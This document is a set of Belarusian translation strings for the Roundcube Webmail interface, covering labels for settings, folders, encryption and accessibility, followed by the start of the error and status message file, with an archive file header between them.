$labels['importtarget'] = 'Дадаць канакты ў';
$labels['importreplace'] = 'Замяніць адрасную кнігу цалкам';
$labels['importgroups'] = 'Імпартаваць прызначэнні групы';
$labels['importgroupsall'] = 'Усе (стварыць групы пры неабходнасці)';
$labels['importgroupsexisting'] = 'Толькі для існых групаў';
$labels['importdesc'] = 'Вы можаце запампаваць кантакты з наяўнай адраснай кнігі.<br/>Цяпер мы падтрымліваем імпарт з файлаў фарматаў <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> і CSV (comma-separated).';
$labels['importmapdesc'] = 'Перш чым пачаць імпартаванне даных з файла фармату CSV (comma-separated), пераканайцеся, што палі ніжэй паказваюцца правільна.';
$labels['fieldnotmapped'] = 'Поле не паказана (не імпартаваць)';
$labels['skipheader'] = 'Не імпартаваць першы радок (загалоўкі)';
$labels['done'] = 'Завершана';
$labels['settingsfor'] = 'Налады для';
$labels['about'] = 'Інфармацыя';
$labels['preferences'] = 'Налады';
$labels['userpreferences'] = 'Налады карыстальніка';
$labels['editpreferences'] = 'Рэдагаваць налады карыстальніка';
$labels['identities'] = 'Асабовыя звесткі';
$labels['manageidentities'] = 'Кіраванне асабовымі звесткамі';
$labels['newidentity'] = 'Стварыць новыя асабовыя звесткі';
$labels['addidentity'] = 'Дадаць асабовыя звесткі';
$labels['editidentity'] = 'Рэдагаванне асабовых звестак';
$labels['identityencryption'] = 'Шыфраванне';
$labels['preferhtml'] = 'Паказаць HTML';
$labels['defaultcharset'] = 'Прадвызначанае кадаванне';
$labels['htmlmessage'] = 'Ліст ў фармаце HTML';
$labels['messagepart'] = 'Частка';
$labels['digitalsig'] = 'Электронны подпіс';
$labels['dateformat'] = 'Фармат даты';
$labels['timeformat'] = 'Фармат часу';
$labels['prettydate'] = 'Даты ў зручным фармаце';
$labels['setdefault'] = 'Зрабіць прадвызначаным';
$labels['autodetect'] = 'Аўтаматычна';
$labels['language'] = 'Мова';
$labels['timezone'] = 'Часавы пояс';
$labels['pagesize'] = 'Радкоў на старонцы';
$labels['signature'] = 'Подпіс';
$labels['dstactive'] = 'Летні/зімовы час';
$labels['showinextwin'] = 'Адкрываць лісты ў новым акне';
$labels['composeextwin'] = 'Ствараць лісты ў новым акне';
$labels['htmleditor'] = 'Ствараць лісты ў фармаце HTML';
$labels['htmlonreply'] = 'толькі ў адказ на лісты ў фармаце HTML';
$labels['htmlonreplyandforward'] = 'пры перасылцы альбо ў адказ на лісты ў фармаце HTML';
$labels['htmlsignature'] = 'Подпіс у HTML';
$labels['showemail'] = 'Паказваць адрас электроннай пошты разам з імем кантакта';
$labels['previewpane'] = 'Панэль прагляду';
$labels['skin'] = 'Абалонка інтэрфейсу';
$labels['logoutclear'] = 'Ачышчаць сметніцу пры выхадзе';
$labels['logoutcompact'] = 'Сціскаць атрыманыя пры выхадзе';
$labels['uisettings'] = 'Інтэрфейс карыстальніка';
$labels['serversettings'] = 'Налады сервера';
$labels['mailboxview'] = 'Выгляд скрыні';
$labels['mdnrequests'] = 'Пры запытванні пацвярджэння пра атрыманне';
$labels['askuser'] = 'пытацца мяне';
$labels['autosend'] = 'адпраўляць пацвярджэнне';
$labels['autosendknown'] = 'адпраўляць пацвярджэнне маім кантактам, інакш спытаць';
$labels['autosendknownignore'] = 'адпраўляць пацвярджэнне маім кантактам, інакш ігнараваць';
$labels['autosendtrusted'] = 'адпраўляць пацвярджэнне давераным адпраўнікам, інакш спытаць';
$labels['autosendtrustedignore'] = 'адпраўляць пацвярджэнне давераным адпраўнікам, інакш ігнараваць';
$labels['ignorerequest'] = 'ігнараваць запыт';
$labels['readwhendeleted'] = 'Пазначаць ліст як прачытаны пры выдаленні';
$labels['flagfordeletion'] = 'Пазначаць ліст для выдалення, не выдаляць';
$labels['skipdeleted'] = 'Не паказваць выдаленыя паведамленні';
$labels['deletealways'] = 'Калі не ўдалося перамясціць лісты ў сметніцу, выдаліць іх';
$labels['deletejunk'] = 'Назаўсёды выдаляць лісты ў каталозе спаму';
$labels['showremoteimages'] = 'Паказ адлеглых выяў';
$labels['allowremoteresources'] = 'Дазволіць адлеглыя рэсурсы (выявы, стылі)';
$labels['fromknownsenders'] = 'ад вядомых адпраўнікоў';
$labels['fromtrustedsenders'] = 'ад давераных адпраўнікоў';
$labels['frommycontacts'] = 'ад маіх кантактаў';
$labels['always'] = 'заўсёды';
$labels['alwaysbutplain'] = 'заўсёды, за выключэннем адказаў на просты тэкст';
$labels['showinlineimages'] = 'Паказваць далучаныя выявы пад лістом';
$labels['autosavedraft'] = 'Аўтаматычна захоўваць чарнавікі';
$labels['everynminutes'] = 'кожныя $n хвілін(ы)';
$labels['refreshinterval'] = 'Абнаўленне (праверка новых лістоў і г. д.)';
$labels['never'] = 'ніколі';
$labels['immediately'] = 'неадкладна';
$labels['messagesdisplaying'] = 'Адлюстраванне лістоў';
$labels['messagescomposition'] = 'Напісанне лістоў';
$labels['mimeparamfolding'] = 'Назвы далучаных файлаў';
$labels['2231folding'] = 'Поўныя RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Поўныя RFC 2047 (інш.)';
$labels['force7bit'] = 'Выкарыстоўваць MIME-кадаванне для 8-бітных знакаў';
$labels['savelocalstorage'] = "Захоўваць у лакальным сховішчы браўзера (часова)";
$labels['advancedoptions'] = 'Дадатковыя параметры';
$labels['toggleadvancedoptions'] = 'Паказаць/Схаваць дадатковыя параметры';
$labels['focusonnewmessage'] = 'Актываваць акно браўзера пры атрыманні новага ліста';
$labels['checkallfolders'] = 'Правяраць усе каталогі на наяўнасць новых лістоў';
$labels['displaynext'] = 'Паказваць наступны запіс у спісе пасля выдалення/перамяшчэння';
$labels['defaultfont'] = 'Прадвызначаны шрыфт лістоў у фармаце HTML';
$labels['mainoptions'] = 'Асноўныя параметры';
$labels['browseroptions'] = 'Параметры браўзера';
$labels['section'] = 'Раздзел';
$labels['maintenance'] = 'Абслугоўванне';
$labels['newmessage'] = 'Новы ліст';
$labels['signatureoptions'] = 'Параметры подпісу';
$labels['whenreplying'] = 'Пры адказе';
$labels['replyempty'] = 'не цытаваць зыходны ліст';
$labels['replytopposting'] = 'пачынаць новы ліст над цытаваным';
$labels['replytoppostingnoindent'] = 'пачынаць новы ліст над цытаваным (без водступу)';
$labels['replybottomposting'] = 'пачынаць новы ліст пад цытаваным';
$labels['replyremovesignature'] = 'Адказваючы, выдаліць стары подпіс';
$labels['autoaddsignature'] = 'Аўтаматычна дадаваць подпіс';
$labels['newmessageonly'] = 'толькі ў новых лістах';
$labels['replyandforwardonly'] = 'толькі ў адказах і перасланых';
$labels['insertsignature'] = 'Уставіць подпіс';
$labels['sigbelow'] = 'Размяшчаць подпіс пад цытаваным лістом';
$labels['sigseparator'] = 'Прымусова выкарыстоўваць стандартны падзяляльнік ў подпісах';
$labels['automarkread'] = 'Пазначыць прачытаным';
$labels['afternseconds'] = 'пасля $n секунд';
$labels['reqmdn'] = 'Заўсёды запытваць пацвярджэнне атрымання';
$labels['reqdsn'] = 'Заўсёды запытваць апавяшчэнне пра дастаўку';
$labels['replysamefolder'] = 'Размяшчаць адказы ў каталог зыходнага ліста';
$labels['defaultabook'] = 'Прадвызначаная адрасная кніга';
$labels['autocompletesingle'] = 'Прапускаць альтэрнатыўныя адрасы пры аўтаматычным дапаўненні';
$labels['listnamedisplay'] = 'Паказваць спіс кантактаў як';
$labels['contactformmode'] = 'Рэжым формы кантакта';
$labels['privatemode'] = 'Прыватны';
$labels['businessmode'] = 'Працоўны';
$labels['collectedaddresses'] = 'Сабраныя адрасы';
$labels['collectedrecipients'] = 'Сабраныя атрымальнікі';
$labels['collectedrecipientsopt'] = 'Захоўвайць атрымальнікаў выходных лістоў у';
$labels['collectedsendersopt'] = 'Захоўваць давераных адпраўнікоў у';
$labels['trustedsenders'] = 'Давераныя адпраўнікі';
$labels['spellcheckbeforesend'] = 'Правяраць правапіс перад адпраўленнем';
$labels['spellcheckoptions'] = 'Параметры праверкі правапісу';
$labels['spellcheckignoresyms'] = 'Ігнараваць словы з сімваламі';
$labels['spellcheckignorenums'] = 'Ігнараваць словы з лікамі';
$labels['spellcheckignorecaps'] = 'Ігнараваць словы з усімі літарамі ў верхнім рэгістры';
$labels['addtodict'] = 'Дадаць у слоўнік';
$labels['mailtoprotohandler'] = 'Зарэгістраваць пратакол апрацоўвання для спасылак mailto';
$labels['standardwindows'] = 'Апрацоўваць выплыўныя вокны як звычайныя вокны';
$labels['forwardmode'] = 'Перасылка лістоў';
$labels['inline'] = 'у тэксце';
$labels['asattachment'] = 'як далучаны файл';
$labels['replyallmode'] = 'Прадвызначанае дзеянне кнопкі [Адказаць усім]';
$labels['replyalldefault'] = 'адказаць усім';
$labels['replyalllist'] = 'адказаць толькі ў спіс рассылкі (калі знойдзены)';
$labels['allmessages'] = 'усе паведамленні';
$labels['olderxdays'] = 'больш за $x дзён';
$labels['folder'] = 'Каталог';
$labels['folders'] = 'Каталогі';
$labels['foldername'] = 'Назва каталога';
$labels['subscribed'] = 'Subscribed';
$labels['messagecount'] = 'Лісты';
$labels['create'] = 'Стварыць';
$labels['createfolder'] = 'Стварыць новы каталог';
$labels['managefolders'] = 'Кіраванне каталогамі';
$labels['specialfolders'] = 'Адмысловыя каталогі';
$labels['properties'] = 'Уласцівасці';
$labels['folderproperties'] = 'Уласцівасці каталога';
$labels['parentfolder'] = 'Бацькоўскі каталог';
$labels['location'] = 'Размяшчэнне';
$labels['info'] = 'Звесткі';
$labels['getfoldersize'] = 'Пстрыкніце, каб даведацца памер каталога';
$labels['changesubscription'] = 'Пстрыкніце, каб змяніць падпіску';
$labels['foldertype'] = 'Тып каталога';
$labels['personalfolder'] = 'Асабісты каталог';
$labels['otherfolder'] = 'Каталог іншага карыстальніка';
$labels['sharedfolder'] = 'Публічны каталог';
$labels['findfolders'] = 'Пошук каталогаў';
$labels['findcontacts'] = 'Пошук кантактаў';
$labels['findmail'] = 'Пошук лістоў';
$labels['namespace.personal'] = 'Асабістыя';
$labels['namespace.other'] = 'Iншыя карыстальнікi';
$labels['namespace.shared'] = 'Адпраўлена';
$labels['dualuselabel'] = 'Могуць змяшчаць толькі';
$labels['dualusemail'] = 'лісты';
$labels['dualusefolder'] = 'каталогі';
$labels['generate'] = 'Згенераваць';
$labels['encryptioncreatekey'] = 'Стварыць новую пару ключоў';
$labels['openmailvelopesettings'] = 'Адкрыць налады Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Вы маеце $nr адпаведных прыватных ключоў, якія захоўваюцца ў вашай вязцы Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Гэтыя асабовыя звесткі адпраўніка яшчэ не маюць прыватнага ключа PGP, захаванага ў пашырэнні Mailvelope. Хоочаце стварыць яго, каб уключыць зашыфраванае ліставанне?';
$labels['encryption'] = 'Шыфраванне';
$labels['mailvelopeoptions'] = 'Параметры Mailvelope';
$labels['mailvelopemainkeyring'] = 'Выкарыстоўваць галоўную вязку Mailvelope';
$labels['mailvelopenotfound'] = 'Пашырэнне Mailvelope не ўсталявана (або не ўключана) у вашым браўзеры.';
$labels['sortby'] = 'Сартаваць па';
$labels['sortasc'] = 'Па павелічэнні';
$labels['sortdesc'] = 'Па памяншэнні';
$labels['undo'] = 'Адрабіць';
$labels['installedplugins'] = 'Усталяваныя убудовы';
$labels['plugin'] = 'Убудова';
$labels['version'] = 'Версія';
$labels['source'] = 'Крыніца';
$labels['destination'] = 'Прызначэнне';
$labels['license'] = 'Ліцэнзія';
$labels['support'] = 'Падтрымка';
$labels['savedsearches'] = 'Захаваныя запыты пошуку';
$labels['dateformatY'] = 'ГГГГ';
$labels['dateformaty'] = 'ГГ';
$labels['dateformatm'] = 'ММ';
$labels['dateformatd'] = 'ДзДз';
$labels['dateformatj'] = 'Д';
$labels['dateformatn'] = 'М';
$labels['B'] = 'Б';
$labels['KB'] = 'КБ';
$labels['MB'] = 'МБ';
$labels['GB'] = 'ГБ';
$labels['unicode'] = 'Юнікод';
$labels['english'] = 'Англійскае';
$labels['westerneuropean'] = 'Заходне-Еўрапейскае';
$labels['easterneuropean'] = 'Усходне-Еўрапейскае';
$labels['southeasterneuropean'] = 'Паўднёва-Еўрапейскае';
$labels['baltic'] = 'Балтыйскае';
$labels['cyrillic'] = 'Кірыліца';
$labels['arabic'] = 'Арабскае';
$labels['greek'] = 'Грэчаскае';
$labels['hebrew'] = 'Іўрыт';
$labels['turkish'] = 'Турэцкае';
$labels['nordic'] = 'Скандынаўскае';
$labels['thai'] = 'Тайскае';
$labels['celtic'] = 'Кельцкае';
$labels['vietnamese'] = 'В\'етнамскае';
$labels['japanese'] = 'Японскае';
$labels['korean'] = 'Карэйскае';
$labels['chinese'] = 'Кітайскае';
$labels['arialabeltopnav'] = 'Кіраванне акном';
$labels['arialabeltasknav'] = 'Задачы праграмы';
$labels['arialabeltoolbar'] = 'Панэль інструментаў праграмы';
$labels['arialabellistnav'] = 'Навігацыя па спісах';
$labels['arialabelactivetask'] = 'Актыўная задача';
$labels['arialabelmessagessearchfilter'] = 'Фільтр спіса пошты';
$labels['arialabelmailsearchform'] = 'Форма пошуку лістоў';
$labels['arialabelcontactsearchform'] = 'Форма пошуку кантактаў';
$labels['arialabelmailquicksearchbox'] = 'Увод для пошуку лістоў';
$labels['arialabelquicksearchbox'] = 'Увод для пошуку';
$labels['arialabelfoldersearchfilter'] = 'Фільтр спіса каталогаў';
$labels['arialabelfoldersearchform'] = 'Форма пошуку каталогаў';
$labels['arialabelfolderlist'] = 'Выбар каталогаў';
$labels['arialabelmessagelist'] = 'Спіс лістоў';
$labels['arialabelmailpreviewframe'] = 'Папярэдні прагляд лістоў';
$labels['arialabelmailboxmenu'] = 'Меню дзеянняў з каталогам';
$labels['arialabellistselectmenu'] = 'Меню выбару спіса';
$labels['arialabelthreadselectmenu'] = 'Меню спіса ліставанняў';
$labels['arialabelmessagelistoptions'] = 'Параметры паказу і сартавання лістоў';
$labels['arialabelmailimportdialog'] = 'Дыялог імпартавання лістоў';
$labels['arialabelmessagenav'] = 'Навігацыя па лістах';
$labels['arialabelmessagebody'] = 'Цела ліста';
$labels['arialabelmessageactions'] = 'Дзеянні для лістоў';
$labels['arialabelcontactquicksearch'] = 'Форма пошуку кантактаў';
$labels['arialabelcontactsearchbox'] = 'Увод для пошуку кантактаў';
$labels['arialabelmessageheaders'] = 'Загалоўкі лістоў';
$labels['arialabelforwardingoptions'] = 'Параметры перасылання';
$labels['arialabelreplyalloptions'] = 'Параметры адказу ўсім';
$labels['arialabelmoremessageactions'] = 'Дадатковыя дзеянні для лістоў';
$labels['arialabelmorecontactactions'] = 'Дадатковыя дзеянні для кантактаў';
$labels['arialabelmarkmessagesas'] = 'Пазначыць абраныя лісты як...';
$labels['arialabelcomposeoptions'] = 'Параметры стварэння';
$labels['arialabelresponsesmenu'] = 'Меню падрыхтаваных адказаў';
$labels['arialabelattachmentuploadform'] = 'Форма запампоўвання далучаных файлаў';
$labels['arialabelattachmentmenu'] = 'Параметры далучэння файлаў';
$labels['arialabelmailtomenu'] = 'Параметры адрасоў электроннай пошты';
$labels['arialabelattachmentpreview'] = 'Папярэдні прагляд далучаных файлаў';
$labels['ariasummarycomposecontacts'] = 'Спіс кантактаў і групаў для выбару атрымальнікаў';
$labels['arialabelcontactexportoptions'] = 'Параметры экспартавання кантактаў';
$labels['arialabelabookgroupoptions'] = 'Параметры адраснай кнігі і групаў';
$labels['arialabelpreferencesform'] = 'Форма налад';
$labels['arialabelidentityeditfrom'] = 'Форма рэдагавання асабовых звестак';
$labels['arialabelresponseeditfrom'] = 'Форма рэдагавання адказу';
$labels['arialabelsearchterms'] = 'Пошук тэрмінаў';
$labels['arialabeldropactionmenu'] = 'Меню дзеянняў выплыўнога меню';
$labels['arialabelheadersmenu'] = 'Меню дадання атрымальніка (загаловак)';
$labels['arialabelimagetools'] = 'Інструменты для працы з выявамі';
$labels['helplistnavigation'] = 'Навігацыя клавіятурай па спісе';
$labels['helplistkeyboardnavigation'] = "Стрэлкі ўверх/уніз: перамясціць фокус/вылучэнне радка.
Прагал: абраць радок у фокусе.
Shift + уверх/уніз: абраць дадатковы радок ніжэй/вышэй.
Ctrl + прагал: дадаць/прыбраць радок у фокусе з абранага.";
$labels['helplistkeyboardnavmessages'] = "Стрэлкі ўправа/улева: разгарнуць/згарнуць ліставанне (толькі ў рэжыме ліставання).
Enter: адкрыць абраны ліст/ліст у фокусе.
Delete: перамясціць абраныя лісты ў кошык.";
$labels['helplistkeyboardnavcontacts'] = "Enter: адкрыць абраны кантакт / кантакт у фокусе.";
PK
h�\\ʥ�SbSb'program/localization/be_BE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Адбылася памылка.';
$messages['loginfailed']  = 'Не ўдалося ўвайсці.';
$messages['cookiesdisabled'] = 'Ваш браўзер не падтрымлівае cookie.';
$messages['sessionerror'] = 'Ваш сеанс хібны або яго тэрмін дзеяння скончыўся.';
$messages['cookiesmismatch'] = 'Выяўлена неадпаведнасць файлаў cookie. Ачысціце файлы cookie вашага браўзера.';
$messages['storageerror'] = 'Не атрымалася злучыцца з серверам IMAP.';
$messages['servererror'] = 'Памылка сервера!';
$messages['servererrormsg'] = 'Памылка сервера: $msg';
$messages['accountlocked'] = 'Было занадта шмат няўдалых спробаў увайсці. Паспрабуйце пазней.';
$messages['connerror'] = 'Памылка злучэння (не атрымалася злучыцца з серверам)!';
$messages['dberror'] = 'Памылка базы даных!';
$messages['dbconnerror'] = 'Немагчыма падлучыцца да базы даных!';
$messages['windowopenerror'] = 'Выплыўное акно было заблакавана!';
$messages['requesttimedout'] = 'Час чакання адказу скончыўся';
$messages['errorreadonly'] = 'Не атрымалася выканаць аперацыю. Каталог даступны толькі для чытання.';
$messages['errornoperm'] = 'Не атрымалася выканаць аперацыю. Адмоўлена ў доступе.';
$messages['erroroverquota'] = 'Не атрымалася выканаць аперацыю. Не стае вольнага месца на дыску.';
$messages['erroroverquotadelete'] = 'Не стае вольнага месца на дыску. Націсніце SHIFT+DEL, каб выдаліць ліст.';
$messages['invalidrequest'] = 'Хібны запыт! Даныя не захаваныя.';
$messages['invalidhost'] = 'Хібная назва сервера.';
$messages['nomessagesfound'] = 'У гэтай скрыні няма паведамленняў.';
$messages['loggedout'] = 'Вы паспяхова спынілі сеанс. Да пабачэння!';
$messages['mailboxempty'] = 'Скрыня пустая';
$messages['nomessages'] = 'Няма лістоў';
$messages['refreshing'] = 'Абнаўленне...';
$messages['loading'] = 'Загрузка...';
$messages['uploading'] = 'Запампоўванне файла...';
$messages['attaching'] = 'Далучэнне файла...';
$messages['uploadingmany'] = 'Запампоўванне файлаў...';
$messages['loadingdata'] = 'Загрузка даных...';
$messages['checkingmail'] = 'Праверка наяўнасці новых лістоў...';
$messages['sendingmessage'] = 'Адпраўленне ліста...';
$messages['messagesent'] = 'Ліст паспяхова адпраўлены.';
$messages['savingmessage'] = 'Захаванне ліста...';
$messages['messagesaved'] = 'Ліст захаваны ў чарнавікі.';
$messages['successfullysaved'] = 'Паспяхова захавана.';
$messages['savingresponse'] = 'Захаванне тэксту адказу...';
$messages['deleteresponseconfirm'] = 'Сапраўды выдаліць тэкст адказу?';
$messages['nocontactselected'] = 'Вы яшчэ не абралі кантакт.';
$messages['addedsuccessfully'] = 'Кантакт паспяхова дададзены ў адрасную кнігу.';
$messages['contactexists'] = 'Кантакт з такім адрасам электроннай пошты ўжо існуе.';
$messages['contactnameexists'] = 'Кантакт з такім самым імем ужо існуе.';
$messages['blockedimages'] = 'Каб абараніць вашу прыватнасць, адлеглыя выявы ў гэтым лісце заблакаваныя.';
$messages['blockedresources'] = 'У мэтах бяспекі адлеглыя рэсурсы былі заблакаваныя.';
$messages['suspiciousemail'] = 'Гэты ліст змяшчае падазроныя адрасы электроннай пошты, якія могуць належаць ашуканцам.';
$messages['bccemail'] = 'Перасланы(ыя) ліст(ы) змяшчае(юць) канфідэнцыйных атрымальнікаў (схаваная копія).';
$messages['bouncehint'] = 'Ліст будзе адпраўлены без зменаў, г.зн. з зыходным целам, загалоўкамі і атрымальнікамі.';
$messages['encryptedmessage'] = 'Гэта зашыфраваны ліст. Яго немагчыма паказаць. Выбачайце!';
$messages['externalmessagedecryption'] = 'Гэта зашыфраваны ліст, яго можна расшыфраваць з дапамогай пашырэння вашага браўзера.';
$messages['nopubkeyfor'] = 'Для $email не знойдзена прыдатнага публічнага ключа';
$messages['nopubkeyforsender'] = 'Для вашых асобовых звестак не знойдзена прыдатнага публічнага ключа. Хочаце зашыфраваць ліст толькі для атрымальнікаў?';
$messages['encryptnoattachments'] = 'Ужо запампаваныя далучаныя файлы немагчыма зашыфраваць. Дадайце іх нанова ў рэдактары шыфравання.';
$messages['searchpubkeyservers'] = 'Хочаце пашукаць адсутныя ключы на ​​серверах публічных ключоў?';
$messages['encryptpubkeysfound'] = 'Знойдзены наступныя публічныя ключы:';
$messages['keyservererror'] = 'Не ўдалося атрымаць ключы з сервера.';
$messages['keyimportsuccess'] = 'Публічны ключ $key паспяхова імпартаваны ў вашую вязку ключоў.';
$messages['nocontactsfound'] = 'Кантактаў не знойдзена.';
$messages['contactnotfound'] = 'Запытаны кантакт не знойдзены.';
$messages['contactsearchonly'] = 'Каб убачыць кантакты з гэтай адраснай кнігі, неабходна выкарыстаць форму пошуку.';
$messages['sendingfailed'] = 'Не атрымалася адправіць ліст.';
$messages['senttooquickly'] = 'Пачакайце $sec секунд(ы) перад адпраўленнем гэтага ліста.';
$messages['errorsavingsent'] = 'Не атрымалася захаваць адпраўлены ліст.';
$messages['errorsaving'] = 'Не атрымалася захаваць.';
$messages['errormoving'] = 'Не атрымалася перамясціць ліст(ы).';
$messages['errorcopying'] = 'Не атрымалася скапіяваць ліст(ы).';
$messages['errordeleting'] = 'Не атрымалася выдаліць ліст(ы).';
$messages['errormarking'] = 'Не атрымалася пазначыць ліст(ы).';
$messages['alerttitle'] = 'Увага';
$messages['confirmationtitle'] = 'Сапраўды...';
$messages['deletecontactconfirm']  = 'Сапраўды выдаліць абраны(я) кантакт(ы)?';
$messages['deletegroupconfirm']  = 'Сапраўды выдаліць абраную групу?';
$messages['deletemessagesconfirm'] = 'Сапраўды выдаліць абраны(я) ліст(ы)?';
$messages['deletefolderconfirm']  = 'Сапраўды выдаліць гэты каталог?';
$messages['movefolderconfirm']  = 'Сапраўды перамясціць гэты каталог?';
$messages['purgefolderconfirm']  = 'Сапраўды выдаліць усе лісты з гэтага каталога?';
$messages['contactdeleting'] = 'Выдаленне кантакта(аў)...';
$messages['groupdeleting'] = 'Выдаленне групы...';
$messages['folderdeleting'] = 'Выдаленне каталога...';
$messages['foldermoving'] = 'Перамяшчэнне каталога...';
$messages['foldersubscribing'] = 'Падпісанне на каталог...';
$messages['folderunsubscribing'] = 'Адпісванне ад каталога...';
$messages['formincomplete'] = 'Форма запоўненая не поўнасцю.';
$messages['noemailwarning'] = 'Увядзіце прыдатны адрас электроннай пошты.';
$messages['nonamewarning']  = 'Увядзіце назву.';
$messages['nopagesizewarning'] = 'Увядзіце памер старонкі.';
$messages['nosenderwarning'] = 'Увядзіце адрас электроннай пошты адпраўніка.';
$messages['recipientsadded'] = 'Атрымальнік(і) паспяхова дададзены(ыя).';
$messages['norecipientwarning'] = 'Увядзіце прынамсі аднаго атрымальніка.';
$messages['disclosedrecipwarning'] = 'Усе атрымальнікі будуць бачыць адрасы электроннай пошты адзін аднаго. Каб прадухіліць гэта і абараніць іх прыватнасць, вы можаце выкарыстоўваць поле "Схаваная копія".';
$messages['disclosedreciptitle'] = 'Занадта шмат публічных атрымальнікаў';
$messages['nosubjectwarning']  = 'Тэма ліста пустая. Хочаце ўвесці?';
$messages['nosubjecttitle']  = 'Няма тэмы';
$messages['nobodywarning'] = 'Адправіць ліст без тэксту?';
$messages['notsentwarning'] = 'Ліст не быў адпраўлены і мае незахаваныя змены. Хочаце адкінуць змены?';
$messages['restoresavedcomposedata'] = 'Быў знойдзены створаны, але не адпраўлены ліст.\n\nТэма: $subject\nЗахавана: $date\n\nХочаце аднавіць яго?';
$messages['nosearchname'] = 'Увядзіце імя кантакта альбо адрас электроннай пошты.';
$messages['notuploadedwarning'] = 'Яшчэ не запампаваліся ўсе далучаныя файлы. Пачакайце альбо скасуйце аперацыю.';
$messages['searchsuccessful'] = 'Знойдзена $nr лістоў.';
$messages['contactsearchsuccessful'] = 'Знойдзена $nr кантактаў.';
$messages['searchnomatch'] = 'Пошук не даў выніку.';
$messages['searching'] = 'Пошук...';
$messages['checking'] = 'Праверка...';
$messages['stillsearching'] = 'Усё яшчэ выконваецца пошук...';
$messages['nospellerrors'] = 'Памылак не выяўлена.';
$messages['folderdeleted'] = 'Каталог паспяхова выдалены.';
$messages['foldersubscribed'] = 'Паспяхова падпісана на каталог.';
$messages['folderunsubscribed'] = 'Паспяхова адпісана ад каталога.';
$messages['folderpurged'] = 'Каталог паспяхова ачышчаны.';
$messages['folderexpunged'] = 'Каталог паспяхова сціснуты.';
$messages['deletedsuccessfully'] = 'Паспяхова выдалена.';
$messages['converting'] = 'Выдаленне фарматавання...';
$messages['messageopenerror'] = 'Не атрымалася загрузіць ліст з сервера.';
$messages['filelinkerror'] = 'Не атрымалася далучыць файл.';
$messages['fileuploaderror'] = 'Не атрымалася запампаваць файл.';
$messages['csvfilemismatch'] = 'Імпартаванне некалькіх файлаў CSV з адрознымі палямі не падтрымліваецца.';
$messages['filesizeerror'] = 'Запампаваны файл перавышае максімальна дазволены памер $size.';
$messages['filecounterror'] = 'Вы можаце запампаваць не больш за $count файлаў запар.';
$messages['msgsizeerror'] = 'Не атрымалася далучыць файл. Перавышаны максімальны памер ліста ($size).';
$messages['msgsizeerrorfwd'] = 'Перавышаны максімальны памер ліста ($size). $num ліст(оў) не было далучана.';
$messages['copysuccess'] = 'Паспяхова скапіявана $nr кантактаў.';
$messages['movesuccess'] = 'Паспяхова перамешчана $nr кантактаў.';
$messages['copyerror'] = 'Не атрымалася скапіяваць ніводнага кантакта.';
$messages['moveerror'] = 'Не атрымалася перамясціць ніводнага кантакта.';
$messages['sourceisreadonly'] = 'Гэтая адрасная кніга даступная толькі для чытання.';
$messages['errorsavingcontact'] = 'Не атрымалася захаваць адрас кантакта.';
$messages['movingmessage'] = 'Выдаленне ліста(оў)...';
$messages['copyingmessage'] = 'Капіяванне ліста(оў)...';
$messages['copyingcontact'] = 'Капіяванне кантакта(аў)...';
$messages['movingcontact'] = 'Перамяшчэнне кантакта(аў)...';
$messages['deletingmessage'] = 'Выдаленне ліста(оў)...';
$messages['markingmessage'] = 'Пазначэнне ліста(оў)...';
$messages['addingmember'] = 'Даданне кантакта(аў) у групу...';
$messages['removingmember'] = 'Выдаленне кантакта(аў) з групы...';
$messages['receiptsent'] = 'Пацвярджэнне аб прачытанні паспяхова адпраўлена.';
$messages['errorsendingreceipt'] = 'Не атрымалася адправіць пацвярджэнне.';
$messages['deleteidentityconfirm'] = 'Сапраўды выдаліць гэтыя асабовыя звесткі?';
$messages['nodeletelastidentity'] = 'Вы не можаце выдаліць гэтыя асабовыя звесткі, бо яны апошняя.';
$messages['forbiddencharacter'] = 'Назва каталога змяшчае забаронены сімвал.';
$messages['selectimportfile'] = 'Абярыце файл, які хочаце запампаваць.';
$messages['addresswriterror'] = 'Абраная адрасная кніга даступная толькі для чытання.';
$messages['contactaddedtogroup'] = 'Кантакты паспяхова дададзеныя ў групу.';
$messages['contactremovedfromgroup'] = 'Кантакты паспяхова выдаленыя з групы.';
$messages['nogroupassignmentschanged'] = 'Усе прызначэнні групы засталіся без зменаў.';
$messages['importwait'] = 'Імпартаванне...';
$messages['importformaterror'] = 'Не атрымалася імпартаваць! Запампаваны файл не змяшчае прыдатных даных.';
$messages['importconfirm'] = '<b>Паспяхова імпартаваны(а) $inserted кантакт(аў)</b>';
$messages['importconfirmskipped'] = '<b>Прапушчана $skipped існых запісаў</b>';
$messages['importmessagesuccess'] = 'Паспяхова імпартавана $nr лістоў';
$messages['importmessageerror'] = 'Не атрымалася імпартаваць! Загружаны файл не ёсць прыдатным лістом альбо файлам паштовай скрыні';
$messages['opnotpermitted'] = 'Аперацыя забароненая!';
$messages['nofromaddress'] = 'У абраных асабовых звестках няма адраса электроннай пошты.';
$messages['editorwarning'] = 'Змена тыпу рэдактара можа прывесці да страты фарматавання. Працягнуць?';
$messages['httpreceivedencrypterror'] = 'Крытычная памылка ў канфігурацыі. Неадкладна звяжыцеся з адміністратарам. <b>Ліст немагчыма адправіць.</b>';
$messages['smtpconnerror'] = 'Памылка SMTP ($code): Не атрымалася злучыцца з серверам.';
$messages['smtpautherror'] = 'Памылка SMTP ($code): не атрымалася выканаць аўтэнтыфікацыю.';
$messages['smtpfromerror'] = 'Памылка SMTP ($code): не атрымалася пазначыць адпраўніка "$from" ($msg).';
$messages['smtptoerror'] = 'Памылка STMP ($code): не атрымалася пазначыць атрымальніка "$to" ($msg).';
$messages['smtprecipientserror'] = 'Памылка STMP: не атрымалася прачытаць спіс атрымальнікаў.';
$messages['smtputf8error'] = 'Памылка SMTP: сервер не падтрымлівае Юнікод у адрасах электроннай пошты.';
$messages['smtpsizeerror'] = 'Памылка STMP: памер ліста перавышае ліміт сервера ($limit)';
$messages['smtperror'] = 'Памылка SMTP: $msg';
